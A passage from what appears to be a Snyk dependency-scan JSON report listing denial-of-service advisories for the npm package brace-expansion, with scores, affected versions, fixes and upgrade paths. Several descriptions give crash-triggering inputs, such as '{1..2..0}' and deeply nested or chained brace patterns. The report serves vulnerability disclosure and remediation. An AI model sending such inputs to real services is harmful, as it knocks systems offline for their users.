">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
